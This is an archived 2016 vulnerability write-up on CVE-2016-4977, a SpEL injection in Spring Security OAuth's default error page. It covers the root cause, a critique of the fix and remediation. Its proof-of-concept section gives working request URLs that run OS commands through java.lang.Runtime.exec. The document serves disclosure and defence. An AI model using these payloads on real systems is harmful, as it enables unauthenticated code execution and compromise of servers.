Archived article from 13 October 2016. Its content reflects the state of things at the time. Reconstructed from the web archive of secalert.net - view the original.
Summary. Spring Security OAuth shipped a default Whitelabel Error Page that evaluated user-controlled input as a Spring Expression Language (SpEL) expression. An unauthenticated attacker could turn a single crafted authorize request into remote code execution on the server. The flaw affects Pivotal Spring Security OAuth 1.0 to 1.0.5 and 2.0 to 2.0.9 and was fixed upstream. Tracked as CVE-2016-4977 (Critical, expression-language injection, CWE-917).
Background
A couple of months ago I performed a penetration test against a web application that used the Spring Security OAuth framework for authorization. During my research I identified several issues, including a remote code execution flaw. The application used the default template that ships with the framework, which is itself prone to RCE. You would expect this to be secure by default, but it was not. While investigating, I realised that a number of well-known websites had deployed the same vulnerable code.
If you want to reproduce the issue yourself, you can download the Spring Boot demo application as a Maven project from https://window.name/research/cve-2016-4977.zip.
Finding the error page
A legitimate request would normally look like this:
http://localhost:8080/oauth/authorize?response_type=token&client_id=secalert&scope=openid&redirect_uri=http://localhostEverything works as intended. I then started looking for common issues such as XSS:
http://localhost:8080/authorize?response_type=token&client_id=secalert&scope=openid&redirect_uri=<s>XSS</s>This produced an error that showed the Whitelabel Error Page. Surprisingly, many well-known sites still use the Whitelabel Error Page instead of configuring a custom one. The Spring Security OAuth example displays it by default whenever an error occurs, and the Whitelabel view reflects parts of the supplied parameter values, which at first glance looks like XSS. After finding the reflection during black-box testing, I reviewed the source code to pinpoint the vulnerable path before reporting it upstream, and in doing so I found a far more dangerous issue.
Root cause: SpEL injection in SpelView
Let's review the source of ErrorMvcAutoConfiguration.java.
/* Lines 137-148 of ErrorMvcAutoConfiguration.java (spring-boot-autoconfigure) */
private final SpelView defaultErrorView = new SpelView("Whitelabel Error Page"+ "This application has no explicit mapping for /error, so you are seeing this as a fallback."+ "${timestamp}"+ "There was an unexpected error (type=${error}, status=${status})."+ "${message}");
@Bean(name = "error")
@ConditionalOnMissingBean(name = "error")
public View defaultErrorView() {
return this.defaultErrorView;}The user-supplied values are passed to the org.springframework.security.oauth2.provider.endpoint.SpelView class, which uses the SpelExpressionParser.
// spring-security-oauth2/.../provider/endpoint/SpelView.java
...
import org.springframework.expression.spel.standard.SpelExpressionParser;
...
private final SpelExpressionParser parser = new SpelExpressionParser();
private final StandardEvaluationContext context = new StandardEvaluationContext();
...
this.helper = new PropertyPlaceholderHelper("${", "}");
...
Expression expression = parser.parseExpression(name); ...This is the interesting part. The Spring Expression Language (SpEL) is the syntax Spring uses for configuration and for code placed in annotations. Because the Whitelabel template interpolates ${...} placeholders and the reflected parameter value is parsed as an expression, user input reaches parser.parseExpression() directly.
Proof of concept
To confirm that the parameter was prone to SpEL injection, I passed an arithmetic expression.
http://localhost:8080/oauth/authorize?response_type=token&client_id=secalert&scope=openid&redirect_uri=${777-111}The response contained "666", which means the expression had been evaluated. From there the step to arbitrary code execution is a standard SpEL gadget using java.lang.Runtime.
http://localhost:8080/oauth/authorize?response_type=token&client_id=secalert&scope=openid&redirect_uri=${T(java.lang.Runtime).getRuntime().exec("ls")}The same works on Windows, with a variant contributed by null_ref.
http://localhost:8080/oauth/authorize?response_type=calc.exe${T%28java.lang.Runtime%29.getRuntime%28%29.exec%28toString%28%29.substring%28112,120%29%29}&client_id=secalert&scope=openid&redirect_uri=http://testNo authentication is required, so a single request to a vulnerable authorize endpoint is enough to run commands in the context of the application.
The fix, and a possible race condition
The maintainer released a hotfix (see the Spring advisory). Reviewing the applied change, it looked to me like only a partial fix. It tries to prevent recursive placeholders in Whitelabel views by using the RandomValueStringGenerator class to replace the { prefix.
// spring-security-oauth2/.../provider/endpoint/SpelView.java (after the fix)
...
public SpelView(String template) {
this.template = template;
this.prefix = new RandomValueStringGenerator().generate() + "{";
this.context.addPropertyAccessor(new MapAccessor());
this.resolver = new PlaceholderResolver() {
public String resolvePlaceholder(String name) {
Expression expression = parser.parseExpression(name);
Object value = expression.getValue(context);
return value == null ? null : value.toString();
}
};
}
...
String maskedTemplate = template.replace("${", prefix);
PropertyPlaceholderHelper helper =
new PropertyPlaceholderHelper(prefix, "}");
String result = helper.replacePlaceholders(maskedTemplate, resolver);
result = result.replace(prefix, "${");This is a quick win, but if an attacker sends enough requests the RCE could still be reachable through a race condition, because the RandomValueStringGenerator generates a string of the default length (6), which is guessable within a feasible number of attempts.
Remediation
Upgrade Spring Security OAuth to a fixed release. Independently of the framework version, disable the Whitelabel Error Page or replace it with a custom page that renders only generic, static text and never interpolates request input. See section 77.2 ("Customize the whitelabel error page") in the Spring Boot reference documentation. More generally, never let user-controlled input reach a template or expression evaluator.
Timeline
February 8th 2016: vulnerability discovered and reported upstream
February 14th 2016: upstream verified the issue
March 12th 2016: upstream deployed a hotfix
July 5th 2016: initial vulnerability report published by upstream
October 13th 2016: this write-up publishedReferences
- Advisory: spring.io/security/cve-2016-4977
- CVE record: CVE-2016-4977 (NVD)
- Fix commit: spring-security-oauth@fff77d3
- Background: Spring Expression Language (SpEL)